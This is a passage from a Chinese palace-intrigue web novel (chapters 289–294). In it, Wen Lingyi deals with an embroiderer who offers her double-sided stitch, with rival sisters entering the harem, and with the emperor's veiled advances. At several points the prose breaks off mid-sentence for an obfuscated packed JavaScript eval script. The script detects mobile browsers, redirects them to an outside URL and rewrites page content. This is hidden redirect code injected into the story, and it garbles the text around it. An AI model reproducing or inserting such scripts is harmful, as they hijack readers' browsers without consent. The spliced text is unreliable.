“这绣花是技艺,裁衣是技艺,养蚕织布也是。”小囡囡在温令仪身后探出头:“还可以让她们学认草药,资质好的学岐黄之术,许多草木还能做染料,染布也是一个行当,我觉得女子一旦能自食其力,就不会被人说是菟丝花,要依靠男人才能活。” 这话要是温令仪说,两位老夫人能吓昏过去,毕竟温令仪的身份越发高了,越是身在高位的人越是要谨言慎行,谁都知道伴君如伴虎,可这话是个稚童说的话,那可就不一样了,童言无忌嘛。 说者无心听者有意,正在低头绣补金凤的绣娘抬头望这边看了一眼,看到温令仪带着笑容的侧脸,又看了看拉着温令仪衣袖的小囡囡,抿了抿嘴角继续干活。 温令仪只不过是探探口风,祖母和外祖母都当成乐子也好,她也没有继续说。 傍晚时候,温令仪正在看书,海棠捧着个小匣子进来了:“郡主,外面来了个绣娘,说是给郡主绣了一方帕子。” 温令仪撩起眼皮儿:“哦?拿来看看。” 海棠把匣子打开,取出来帕子递给温令仪,绢是寻常的绢,她也没在意。 温令仪接过来帕子打开看了看,绣着蝶恋花,确实针脚细密,构图精致,活灵活现,挺漂亮的,刚想要放下,不经意的看到了背面露出的图案一角,反过来眼睛一亮:“哟,这可是个巧的。” “郡主,这是双面绣。”海棠也惊叹出声:“奴婢听说,双面绣可神奇了,两面完全不一样的花样儿。” 温令仪放下帕子,说:“去请送帕子的人进来。” “是。”海棠立刻出门去。 片刻,领着绣娘进来,绣娘进门就给温令仪跪下了:“民女苏禾,给郡主磕头了。” “起来说话吧。”温令仪说。 苏禾叩头在地:“民女不敢起,民女求郡主办女学,我祖传绣技可倾囊相授,分文不取。” 温令仪微微挑眉:“你有什么苦衷?” 第289章 裴祈安来的可真快啊! 苏禾摇头:“民女没有苦衷。” 温令仪知道苏禾是不想说,或者说不能说,如此她也不会强求。 “慢慢来,这件事我记下了,苏姑娘,若是府里的事做完了,我去哪里寻你呢?”温令仪问。 苏禾抿了抿嘴角:“我住在北城的甘井巷。” “好,那等我这边安排差不多的时候,会请苏姑娘的。”温令仪说。 苏禾离开后,温令仪便仔细的看着帕子上的针法,她从小在药王谷,并没有学过女红,但身为京中贵女,教养嬷嬷会方方面面的教自家小姐,林嬷嬷教碧桃和海棠的时候,她也会看看,所以不会女红,可鉴赏的能力是有的。 林嬷嬷进来送热茶,看到帕子也眼睛一亮:“小姐,这绣活儿做得可真是漂亮。” “奶娘,你仔细看看。”温令仪把帕子递过去。 林嬷嬷仔仔细细的看过之后,陷入了沉思,在久远的回忆里寻找关于双面绣的事,只是年代久远,很多事都记不清了。 温令仪太了解自己的奶娘了,坐在一旁没有打扰。 “小姐,老奴小时候跟着父母住在江南府,当时江南府有一个名门望族,好像姓苏,苏家之所以能成为望族,就是因为苏家媳妇能绣出来十分稀奇的双面绣,被选上了贡品。”林嬷嬷叹了口气:“传言,那位苏少夫人是天上的织女下凡,只是后来不知道怎么和纪家起了龌龊,没几年苏家少夫人竟跟季家大房的二公子有了私情,最后被沉塘了,这双面绣就失传了。” 温令仪静静地听完,想到苏禾的模样,南方女子多温婉,苏禾弱不禁风的模样,难道是苏家后人? 不过,纪家已经没落了,苏禾真是要报仇,不会不出声啊。 难道不是苏家人? 可这双面绣短暂出现后,随着苏家少夫人的离去就再也没有了这项技艺。 “奶娘,你去库房挑选一些细棉布的衣料,准备一些上好的丝线,送去甘井巷苏家。”温令仪说。 林嬷嬷领命下去了。 “郡主,您也觉得苏禾可能是苏家后人?”海棠好信儿,问。 温令仪点头:“只不过她有苦衷,能出来做绣娘,家里的日子过的不容易,先接济一些,结个善缘吧。” 海棠觉得苏禾挺幸运的,毕竟要想嬷嬷说的,苏禾有个手艺,换做别的贵族女子,有千百种法子把这个人留下,而不是接济她的家人。 林嬷嬷回来的时候,过来复命。 “可见到苏家人了?”温令仪问。 林嬷嬷回道:“见到了,家里日子过的清贫,不过家中有一位读书的公子,老奴把东西送过去的时候,若不是说明是郡主府送来的,只怕苏家不会收。” “哦?”温令仪想苏禾也就十**岁的样子,婚配也正常。 林嬷嬷回道:“收下了礼,那公子扶着个瞎眼的婆子出来谢恩,老奴觉得那瞎眼的婆子似曾相识,只是怎么都想不起来在哪里见过。” 温令仪让林嬷嬷退下,这件事就放下了。 自己只是需要知道苏禾身后有谁,至于苏禾的身份和其他,那都是别人的因果,若不牵涉到自己,自己不会强行介入别人的因果里去。 转眼三天过去了,温令仪去看了改过的九凤朝服,在袖口的位置再次见到了双面绣,袖口里面绣了精巧的缠丝牡丹,看了眼站在绣女最后面的苏禾,微微点了点头。 九凤朝服必定是大婚时候穿戴的,那这些绣女们手里的活儿就少了件制作嫁衣的差事,做起来就容易了许多。 “郡主,宫里头来人了,皇上请郡主入宫。”林嬷嬷进来禀报。 温令仪带着碧桃入宫去。 宫门口,早就等在这里的曹忠亲自带路。 御书房门口,温令仪没来由的心里狂跳了几下,压下心思四处看了看,发现今日的御书房和平常略有不同,侍卫多了不少。 曹忠出来,恭敬的说道:“郡主,请。” 温令仪进门来,御书房里并没有裴祈安,只有永元帝一个人。 还不等她跪下请安,曹忠退出去并且关上了御书房的门,这一个细节让温令仪立刻警觉起来。 “臣女拜见皇上。”温令仪跪下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我也听个热闹 永元帝回到御书案后面坐下来,淡淡的说了句:“平身吧。” 温令仪起身立在一旁。 裴祈安进来的时候,永元帝的目光就没有离开过他,见他看都没看温令仪一眼,嘴角便浮起了一丝笑意。 他如今夜夜笙歌,身边美人儿无数,可一想到裴祈安要跟温令仪同床共枕,就心里不舒坦,犹如喝粥的时候发现了一粒老鼠屎般。 他希望裴祈安只是自己的,裴祈安的心里只有他,但赐婚圣旨都下了,温令仪就算住不进裴祈安的心里,那也会名正言顺的住进摄政王府里,他后悔了,是发现自己可以重振雄风,昏了头,否则怎么会赐婚呢? “皇上,臣从户部回来了,各地春耕的粮种还没有筹措齐,先送粮种往泾河府去,如此能不耽误农时。”裴祈安说。 没有请安,没有行礼,就像是之前那般,开口说事。 说完,裴祈安走到坐塌方向,拿起茶壶给自己斟茶,端着茶盏喝了口,这才看向温令仪,甚至在看到温令仪的时候,微微的蹙眉。 永元帝笑出声来:“玉琢,你这是什么态度,令仪是你未过门的妻子。” 裴祈安放下茶盏,再次回到御书案前,拱手一礼:“臣,忘了。” 温令仪愕然的抬眸看裴祈安,忘了?好家伙,真是聪明如他,这样的话说出来,谁信啊? “这就是玉琢不对了,回头要跟令仪赔罪。”永元帝嘴上这么说,可眼底的笑意可不是装出来的。 温令仪低下头,很无奈,她以为没人信,可忘记了永元帝,这个心里一直对裴祈安的感情十分复杂的昏君,呵,真是一物降一物! “臣,遵旨。”裴祈安拱手一礼。 永元帝心情更好了,遵旨?意思若不是自己说,裴祈安都不觉得自己如此无视温令仪并无不妥。 若是,温令仪能跟了自己,裴祈安也是自己的,那岂不是享了齐人之福! 所以,这个时候裴祈安来御书房是巧合,倒是自己多心了,还以为裴祈安要护着温令仪呢! “好了。”永元帝说:“你们退下吧。” 温令仪行礼退下,裴祈安跟在温令仪的身后走出御书房。 御书房门外,裴祈安拦住温令仪,行礼致歉:“是本王急着回禀皇上,没见到郡主在,勿怪。” “摄政王为公事操劳,我能怪什么?”温令仪没有好脸色,拂袖而去。 裴祈安看着温令仪离开的背影,抬起手摸了摸鼻梁,往相反的方向走了,他确实很忙,可昏君这几日总是欲求不满,让温令仪入宫会有什么好事?幸亏自己来的快。 永元帝把二人的对话听得真切,满脸笑意的回去批阅奏折了,至于奏折,看几眼就扔到一边去,若非大事,他才懒得批阅,得空裴祈安会处理的。 温令仪回到郡主府,有人送来了书信。 书信是裴祈安写来的,在信里说了永元帝这些日子的所作所为,末了加了一句:“若无我在,不准见他。 这话把温令仪逗笑了,何其相似! 自己是别人的妻子,他横行霸道不准自己见,自己是他的未婚妻,他依旧这个口吻。 烧了书信,温令仪取出来毒经仔细研究,写了几个方子带着去了郡主府的药房,一个人配药,熬药,再制成蜜丸和水丸,分别装进瓶子里,标注了静心丹和安睡丹,放在盒子里。 叫来了林嬷嬷,让她送到宫里去。 选秀进程过半,不过各地陆续送美人儿上京。 温令仪原以为这件事跟自己没关系,可偏偏有人递了拜帖。 “武安伯府里的小姐?”温令仪蹙眉。 林嬷嬷回道:“是,郡主。” 武安伯府,若非接到了拜帖,温令仪都没什么印象,在京城,一个承袭了爵位却没有权柄在手的伯府,至少在温令仪看来是上不得台面的。 “告诉来人,明日请伯府小姐过来吧。”温令仪说。 林嬷嬷退下去回话。 温令仪让碧桃去查一查武安伯府。 傍晚时,碧桃回来,带来的消息让温令仪都忍不住皱眉。 武安伯府传承三代,第三代武安伯周柏廷,娶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186184|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妻孙氏,生了三女一子,三女中最为惊才绝艳的是二女儿周婷,但容貌最佳是大女儿周敏,小女儿今年十二岁,因为年龄小倒是逃过一劫,周敏和周婷都被选中了秀女。 说是选中,倒不如说是武安伯夫妇求来的,想要用两个女儿博武安伯府的前程。 翌日。 武安伯夫人带着两个女儿登门拜见温令仪。 温令仪看着母女三人坐在自己面前,仔细打量了周敏和周婷,姐妹俩确实是少见的美人儿,不过二人都错过了最佳婚配的年纪。 再看武安伯夫人的面相就猜了个七七八八,面由心生,这武安伯夫人是个刻薄的人,早就盘算着让两个女儿入宫了,又怎么会瞧得上旁人? 跟周婷的神采飞扬比起来,周敏就安静得太多了,眼角眉梢都有化不开的愁绪似的。 “郡主,听说您给皇上调理身子。”武安伯夫人说着从袖子里取出来精致的描金匣子放在桌子上,笑得谄媚:“咱们都是有爵位在身的门庭,其中心酸不必细说,今日想要求郡主指点迷津,若能得一二照拂,他日必重谢。” 温令仪扫了眼那描金的匣子,淡漠的收回目光:“周夫人,你这不是要害人吗?皇上龙体无恙,哪里有这般传言的?” 武安伯夫人赶紧起身行礼:“郡主勿怪,这、这是我不会说话了,如今我的两个女儿都被选了秀女,身为母亲疼惜的厉害,只是想要为两个女儿多谋划一二。” “慈母啊。”温令仪摇头:“可惜,我并不能指点迷津,请回吧。” 武安伯夫人进退两难的僵住了。 “哟,温令仪,你这架子可真不小啊。”周婷嘴角一抹鄙夷:“你这态度可真有意思,我们入宫伴驾,你不结个善缘,难道以为皇上封你个郡主,就了不起了?赐婚给了一个天阉之人,外面谁不笑话你?” “小妹!休要口无遮拦。”周敏低声呵斥。 周婷蹙眉:“你管我?” 周敏起身给温令仪行礼赔罪。 温令仪却说:“周二小姐,继续说说,我也听个热闹。” 第291章 真够忘恩负义了 这可吓坏了武安伯夫人,她起身就给温令仪跪下了:“郡主勿怪,小女确实口无遮拦,冒犯了您。” 温令仪伸出手扶着武安伯夫人起身:“倒也不是周二小姐口无遮拦,与摄政王的婚事本就会被人私下里说嘴,总不至于因为周二小姐说了实话,偏巧实话确实难听,我就怪罪周二小姐呀。” 周婷本还气势汹汹,这会儿却面露惧色,她只是瞧不起温令仪,仗着温家有本事,她就什么都能得到,可得到了又怎么样?京城里谁不知道秦国公府还在的时候,那秦国公府世子如何糟践她的? 秦国公府倒下了又如何?又温家军功赫赫保着又怎样?还不是皇上给配了摄政王,听着名头吓人,可女人择夫婿图得是儿女成群,摄政王再大的本事也没用,天阉之人罢了! 可她不是傻子,瞧不起温令仪,但温令仪这几句话却惊得她后背起了冷汗,后宅女子在知晓人情时候,练得就是人情世故,温令仪这种人是可怕的,自己之前怎么就没看出来? “周二小姐,怎么不说了?”温令仪扫了眼周婷。 周婷回神,赶紧跪下了,低着头:“郡主宽宏大量,是我错了,我不该学那些长舌妇。” “罢了。”温令仪摆了摆手,本来也没打算计较的她说道:“如今宫里没什么成用的人,六宫空虚也是之前历朝历代都没有的,但凡入宫的女子都能母凭子贵,这话我不说,你们也心里有数,但这世上最怕算计,算计到最后反误了卿卿性命,我言尽于此,就恭祝二位能获盛宠,一路过关斩将吧。” 说到这个份上,确实言尽。 武安伯夫人也不敢再赔罪,行礼告辞,带着两个女儿离开了郡主府。 坐进马车里,武安伯夫人气得脸色铁青,扬起手就给了周婷一个耳光:“你这心性入宫也是没有善终的。” “母亲!我比长姐更适合入宫!我入宫,长姐嫁人!”周婷咬着牙:“她那怯懦的性子,能做成什么事?” 周敏看着妹妹,刚要说话,武安伯夫人抢先一步:“比你沉稳!” “沉稳?”周婷冷笑:“沉稳到皇上都看不到?不能承宠侍寝,连怀上龙嗣的机会都没有,母亲,你确定让长姐入宫?” 武安伯夫人不想说话,闭目养神去了,心里却直叹气,若是两个女儿的性子融在一起,那封后都是可能的,造化弄人啊,这么好的机会,怕是抓不住! ***郡主府备嫁,镇国公府也在备嫁,温令仪这次大婚跟上次可不同,上次温家是不愿意的,如今却是满心欢喜,外面的人说三道四,不过是道听途说,温家人心里明镜儿似的,并且两个孩子名正言顺的成了嫡出的小姐和公子,这身份可是大事! 所以,温家人和温令仪都没在意过外面的事,包括宫里选秀。 半个月后,温令仪在制药丸的时候,林嬷嬷进来了:“郡主,有人送来了一封信,没有落款。” 温令仪洗了手,打开书信的时候,挑了挑眉。 书信是周敏写来的,武安伯府到底送了两个女儿一起入宫伴驾,周敏在书信里也没说什么相求的话,只是为妹妹的失礼道歉。 看过书信,温令仪把书信扔进了火盆里。 “郡主。”林嬷嬷扫了一眼看到了周敏二字,有些担忧:“老奴听说武安伯府送了两个绝色的女儿入宫,京城里传言是这批秀女里的双姝,呼声极高。” 温令仪拿起来药丸装瓶:“那是,一个性子沉稳犹如满月,一个性子犹如烈阳,那位怎么能抵挡得住这般诱惑?武安伯府的好日子来得快。” 当然,去得也快,端的看周敏了。 周敏沉稳,沉稳之下是灵秀,周婷虽名声极高,可到底心浮气躁,这心浮气躁换做平常人家无妨,可一旦入宫,更草包无疑。 这姐妹二人,倒是可以看看是不是用得上。 进了四月,京城周围的百姓也都到了农耕最后阶段,裴祈安乘着月色前来,见温令仪还在看书,有些心疼的拿走了书籍:“夜深了,眼睛不要了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186185|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “最近越发的睡不踏实,看看书解闷儿。”温令仪抬眸看裴祈安脸上有倦色:“我让小厨房准备点儿吃喝。” 裴祈安笑了:“好啊,刚巧我也睡不踏实,非要等到大婚之后,才能放下心来啊。” 温令仪吩咐林嬷嬷准备吃喝和热水。 裴祈安去沐浴更衣,回来跟温令仪相对而坐,几个小菜一壶酒,两个人还真如老夫老妻一般。 “武安伯府的两个女儿入宫就侍寝了。”裴祈安说。 温令仪勾了勾唇角:“周敏怕是不能。” “还真被你说中了,周敏刚送进寝宫就被扔出来了,来了月事。”裴祈安看着温令仪:“周婷正得宠。” 温令仪轻轻地叹了口气:“你啊,睚眦必报作甚?这京城本就是名利场,她们不过是想要争一争罢了,于我来说,算不得什么事。” 裴祈安不提旁人,偏偏提了这两位,显然是随时都盯着自己的。 裴祈安放下酒盏:“拎得清,便不会到你这里寻得宠的法子,拎不清,还要在你跟前出言不逊,不出手教训她们,那都是宽宏大量了。” “倒也不着急,周婷不足为虑,倒是周敏,我看好她,保不齐我们能成事,还得她出手。”温令仪说。 裴祈安跟温令仪举杯:“对了,萧玄策灭了巫医族。” “够忘恩负义了。”温令仪不赞同的摇头:“就算那神女要当皇后,不也是应该吗?” 裴祈安清了清嗓子:“不知内情,不过消息里就是这么说的,裴祈安建立了大周朝,两国划界结束后,发兵神女山,直接把巫医族踏平了,如今神女山是大周的地盘。” “原来是这样。”温令仪给裴祈安斟酒:“神女山和大夏的雁门关相对,如此以来,大周和西凉比起来,更是强敌啊。” 裴祈安低声:“所以,你还要让长姐入行伍吗?” “让啊。”温令仪展颜一笑:“长姐,可太适合走这条路了,温家军只有二哥,还不够啊。” 第292章 本宫打你了,你难道不生气吗? 裴祈安知道温令仪对自己从无戒备之心,而他也乐得成全温家的权势滔天,现如今百姓经历了这些年的动荡,天灾人祸频发后,终于能安稳下来,徐徐图之才是谋之长远,总比满目疮痍要好很多。 “对了,崔东昊如何安置了?”温令仪还是很惦记崔家的,说心里话,崔家现在出山,对自己和裴祈安来说是不利的,早了些。 裴祈安摇头苦笑:“崔东昊已经回去了江南府,崔家会退守回山的。” “走了?”温令仪有些意外,但更多的是欢喜,因日后自己可以再次登门求崔家出山,到那个时候才真的能为我所用嘛。 “何止崔东昊走了?”裴祈安说:“罗老大人告老还乡,皇上准了,如今罗岳辞官归隐的折子,还压在御书房里呢。” 温令仪抬起手压了压额角:“如此说来,皇上如今只是想要子嗣,别的都顾不上了?” “奏折,多数是我在批阅。”裴祈安说。 温令仪噗嗤笑了,虽说权臣干政是大忌,可所处位置不同,当然看法也就不同了,裴祈安处理朝政算是提前熟悉一下,仅此而已。 酒过三巡,二人便休息了,林嬷嬷守在门外,看着夜星点点,终是如释重负的笑了。 从第一次知道小姐和摄政王之间的事,直到今天,林嬷嬷觉得自己口不能言的憋了许多年,都增了许多白发,虽然她不知道摄政王和镇国公府,甚至和小姐之间到底在做多大的事,可身为奶娘,她是打心底希望小姐能得如意郎君,伉俪情深共白头的。 翌日。 温令仪晨起就没看到裴祈安,早就**以为常了,没往心里去。 今儿天气阴沉沉的,外面下起了淅沥沥的雨,慕春的雨水最金贵了,百姓所期的风调雨顺,便是四时当令,该暖时候暖,该下雨的时候下雨嘛。 临窗听雨,温令仪打量着院子里的景儿,虽说是曾经的秦国公府,但温令仪住进来之前和之后,府里上下打理的可彻底,早就看不出曾经的模样了。 再说,京城里生,京城里长,经历过那么多事后,早就看穿了富贵荣华的真相,今日鲜衣怒马,明儿就可能是荒冢,所以如秦国公府这般遭遇的人,京城里最常见,早就**以为常了。 若不是自己重生,又有诸多机缘加身,秦国公府的今日就是镇国公府的下场,所以,住在这里对温令仪来说,反倒是最愿意的。 碧桃打着伞从外面进来:“郡主,宫里来人接您。” 温令仪心里不悦,但算算日子从第一批宫女入宫到今日,过了一个月了,想必是让自己进宫去给那些个承宠侍寝过的女子诊脉。 她这次入宫,提了个精致的描金小箱子,坐进马车里,低头看了眼裙子边上染了个水渍,无伤大雅。 宫门口迎接温令仪的还是曹忠,不过今儿入宫特地给准备了轿子。 没有去御书房,而是往后宫去。 后宫至今六宫依旧空着,这些入宫的秀女倒是也有几个封了位份,不过最高的位份只是三品的婕妤,婕妤只一人,是周婷。 这话是曹忠说的,提点的意思明显。 温令仪没多问一个字,只是心里记下了,再说了,周婷的性子使然,必定会在前期一路顺遂的,至于能不能一直顺遂,那可说不好了。 唯有周婕妤单独住在了含翠宫中,同住在含翠宫的还有周敏,周敏没有位份,可皇上疼惜周婕妤,让姐妹俩同住。 温令仪的轿子就停在了含翠宫。 “如今,这位小主子最得宠,郡主仔细了点儿。”曹忠说。 温令仪点了点头,刚要进去,曹忠又说:“后宫是天家后院,王爷不能擅自进来。” 言外之意,就算是裴祈安也不能来护着她。 “多谢公公。”温令仪取出来瓷瓶递过去:“沐浴后用来擦身,您用过就知道了。” 曹忠双手接过来:“多谢郡主。” 含翠宫的宫女引温令仪入宫去,曹忠回御书房复命。 含翠宫里,处处都精致,摆着的物件儿也都名贵,可见得宠,不过也可预见周婷的张扬,宫里什么人最长命,自是能沉得住气的,周婷显然不是。 “娘娘,凤阳郡主到了。”宫女禀报。 屋子里传来了懒洋洋的声儿:“带进来吧。” 温令仪迈步进了大殿,大殿上的长榻铺着雪白的狐狸皮垫子,一身红裙的周婷懒洋洋的躺着,旁边几个宫女伺候着。 “见过周婕妤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195194|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”温令仪微微的垂首。 周婷打量着温令仪,让左右服侍的人都退下,屋子里就剩下二人的时候,起身走到温令仪面前:“温令仪,你说本宫会不会难为你?” “周婕妤不会满足当下这个位份,自是不会为难我。”温令仪不疾不徐的说。 周婷轻笑出声:“你看,姐姐总说本宫恃宠而骄不好,说什么木秀于林风必摧之,真是可笑,本宫是皇上的女人都不能恃宠而骄,可郡主呢?这可是在恃宠而骄啊。” “周婕妤,你姐姐说的对。”温令仪抬眸:“后宫争宠,与我何干?今日入宫,做该做的事,尽了本分便可,闲言碎语不听。” 周婷脸上的笑容瞬间收起,微微的眯起眼睛打量着温令仪:“你还真是个硬骨头!” “守本分而已。”温令仪怡然不惧。 周婷扬起手就给了温令仪一个嘴巴。 温令仪神色不动,人也没动。 “本宫打你了,你难道不生气吗?”周婷笑眯眯的看着温令仪脸上的指痕。 温令仪摇头:“不生气,不过打我从来都要付出代价的,我不生气,希望周婕妤到时候也别恼火。” “行!我就说你绝非外界传言那般,心机城府极深!怪不得皇上时常念叨的不是宫里的女子,反倒是你了!”周婷压低声音:“你最好安分守己,嫁给天阉之人是你的命!别肖想太多,否则本宫可不会客气!” “如此争风吃醋,周婷,那你的路可太长了。”温令仪话音落下,听到脚步声匆匆。 没回头看,周婷反倒先厉声似:“出去!谁让你进来的!” “小妹!” 周敏的声音传来,温令仪这才回头,看着略施粉黛,穿着浅蓝色襦裙宫装的人,心里反倒是警惕了几分,周敏,比周婷要更好使! “切不可对凤阳郡主无礼!”周敏快步过来,就要跪下。 温令仪伸出手稳稳地扶住了她:“使不得,这也算不得什么,皇上让我入宫,周婕妤让我诊脉就好。” 周敏一脸愧疚之色,回头等了妹妹一眼:“皇上让诊脉,你还不坐下。” 温令仪看着周婷气哼哼的坐下了,微微勾起唇角,你看,就说周敏好使嘛! 第293章 臣女觉得,皇上心急了 温令仪上前给周婷诊脉。 周敏坐在旁边,显然比妹妹还要着急。 “郡主,脉象如何?”周敏问。 周婷翻了白眼儿:“长姐,我日日承宠,皇上龙精虎猛的,必定会怀上了啊。” 温令仪一点儿没客气,说道:“并无孕脉。” “怎么可能?”周婷顿时站了起来:“你到底行不行?我这几日胃口不好,有孕不就这样吗?” 温令仪淡淡的说:“房事太勤,耗损身体,也会让人精神萎靡的,周婕妤,你气血两虚,要调理身体。” “我癸水迟了七日!”周婷不死心,一把抓住了温令仪的手臂:“你再给我诊!本宫必定是有身孕了。” 温令仪冷冷的抽回手臂:“周婕妤,我奉皇上的旨意,诊脉尽心尽力,这边是结果,总不能让我无中生有。” “皇上驾到!” 曹忠的声音传进来。 周敏立刻起身立在一旁,周婷一溜烟儿的跑出去了,显然是去告状。 温令仪微不可见的摇了摇头。 这个动作落在周敏眼里,周敏也只能在心里叹息,小妹急于求成,更是太过张扬,如此怎么能行? “皇上。”周婷乳燕投怀一般扑到了永元帝的怀里。 永元帝稳稳地接住她,宠溺的问:“怎么还哭鼻子了?谁气小美人儿了?” “还能是谁!凤阳郡主给臣妾诊脉,说臣妾并不曾有孕,可臣妾胃口不好,癸水也迟了好几日啊。”周婷低声:“还说,还说房事太勤了,这不是在说皇上您总宠幸臣妾嘛,她、她这是看不惯臣妾得宠吗?” 永元帝抬眸,就见温令仪和周敏立在门旁,显然在恭迎圣驾。 看不惯周婷得宠? 这后宫女子,任何一个都可以看不惯,温令仪看不惯? 仔细看了眼温令仪,今日她穿了碧色襦裙,照着同色纱衣,略施粉黛,发髻挽在脑后,只戴了朱钗,在这宫里的花枝招展衬托下,反而别具一格的出尘。 难道,温令仪有心? “皇上。”周婷拉长了声调,顺着永元帝的目光,不知道皇上这眼神是看温令仪还是长姐,不过转念一想,必定是看长姐的,温令仪可是马上就二嫁摄政王的人。 长姐看自己没怀上龙嗣,要跟自己争宠了吗? 永元帝进门,温令仪和周敏给皇上请安。 进屋落座后,皇上看温令仪:“周婕妤不曾有孕?” “回皇上,无孕。”温令仪屈膝行礼后回话。 永元帝点了点头。 “皇上,臣妾要请太医,凤阳郡主再厉害,也比不得太医。”周婷就差坐在永元帝的怀里了。 温令仪觉得没眼看,别开目光。 可这个动作落在永元帝的眼里可就变了味道,他推开周婷:“郡主医术远在太医之上,好生养着便是。” 说罢,起身往外走:“温令仪,跟朕走。” “是。”温令仪跟在永元帝身后往外走。 周婷愤恨的抓起茶盏就要砸,周敏眼疾手快的握住了她的手:“小妹,你在做什么!” “长姐,温令仪和皇上之间,怎么觉得非同一般?”周婷咬牙切齿的说。 周敏低声:“后宫女子还少吗?摄政王是好相与的?这样的话切不可再提,若是传出去,别说你我了,就是父母都会被连累。” “可是,你没看到吗?皇上多信她?”周婷拧着帕子,刚要说话就觉得下面一股暖流,顿时脸色苍白的看周敏:“长姐,我、我小产了。” 周敏叹了口气:“是来了癸水,你啊,幸好凤阳郡主没有不依不饶,否则多耽搁片刻,你当着他们的面来了癸水,岂不是打了自己的嘴巴?” 吩咐宫女进来伺候,周敏坐在椅子上仔细的回想温令仪和永元帝的一举一动,猛地瞪大了眼睛,温令仪无心,宁可嫁给天阉之人都不入宫,怎么能对皇上有意?但皇上看温令仪的眼神确实不清白,难道皇上用心如此之深?那可就险恶了啊。 温令仪以为自己要去各处给侍寝过的女子诊脉,没想到永元帝直接带着她来到了御书房,就在御书房外面摆上了桌子,侍寝过的秀女都过来挨个诊脉。 诊脉间隙,温令仪抬起手压了压额角,这短短一个月,承宠的人都超过了三十人,皇上还真是对自己挺狠,无所不用其极啊。 永元帝立在窗内,看着一个个秀女失望的离开,脸色越发的阴沉了,目光落在温令仪的背影上,之前不觉得,这莺莺燕燕一大堆的时候,反倒显得温令仪的背影都清丽养眼。 最后一个秀女诊脉后退下,温令仪起身进来复命。 永元帝坐在椅子上:“朕不行,还是她们不行?” 温令仪赶紧跪下了:“皇上,臣女不敢胡言,并非皇上的问题,也非各位娘娘的问题。” “为何没有一个怀上龙嗣的?”永元帝盯着温令仪:“还是说,朕不够勤奋?” 不等温令仪回话,永元帝看到温令仪的耳朵竟微微的发红了,心就一沉,面子上挂不住的他端起茶盏抿了口。 曹忠立在一旁低眉顺眼,大气儿都不敢出,真为温令仪捏了一把冷汗,这话怎么回?怎么回都可能惹得皇上震怒啊。 温令仪轻轻地叹了口气:“皇上,这孕育子嗣的事,急不得,臣女也无能为力,不过臣女倒是准备了一些温补的药,皇上可以赏赐给娘娘,或许会有奇效。” 永元帝微微的眯起眼睛。 温令仪把一直都提着的小盒子递上。 永元帝看了眼曹忠,曹忠过去接了小盒子送到御书案上,贴心的打开。 里面摆着两个瓷瓶,比以往的大了不少,一个红色的盖子,另外是绿色盖子,瓶身上贴着和合丹。 永元帝合上了盖子,让曹忠退下,左右伺候的宫女太监也都屏退。 温令仪跪在地上纹丝未动。 永元帝过来,俯身看着温令仪:“朕觉得自己没问题,若是朕有问题,便是你的医术不行,除非你能证明,朕可以。” 温令仪只觉得那热气喷到脖子上,周身都不自在,微微低下头:“皇上,您如此不信臣女,臣女也无法证明,若皇上想要验证,不如选几个侍卫和宫女,赐婚。” 永元帝微微眯起眼睛,想要躲?还是欲拒还迎? “臣女婚期临近,家中长辈每天都在忙碌,生怕操持不周,愧对皇上赐婚之恩。”温令仪顿了一下,感觉永元帝退后了两步,立刻起身,抬眸看着他:“臣女觉得,皇上心急了。” 永元帝打量着温令仪,笑了:“意思是,大婚之后可以?” 第294章 这昏君,真是作死! 温令仪没言语。 永元帝吩咐曹忠送凤阳郡主出宫。 雨后,湿气很重。 温令仪坐在辇轿里,容色淡然,纵然心里翻腾着杀意,可面上看不出分毫。 “周姑娘,皇上让老奴送郡主出宫。”曹忠说。 温令仪撩起帘子,看到周敏立在旁边,出声:“公公,我和周姑娘有些交情,停轿吧。” 曹忠立刻让人停下了轿子,温令仪下了轿子,走到周敏跟前:“周姑娘,不若你送我出宫。” “郡主,多谢。”周敏屈膝行礼。 曹忠带着人后头远远地跟着。 “你想要为周婕妤求药?”温令仪问,但心里笃定,若非如此何须在半路等候? 果不其然,周敏低声:“小妹心性傲气,更是过于要强,郡主有通天手段,能帮衬一二,我感激不尽,若有用得着我的地方,万死不辞。” 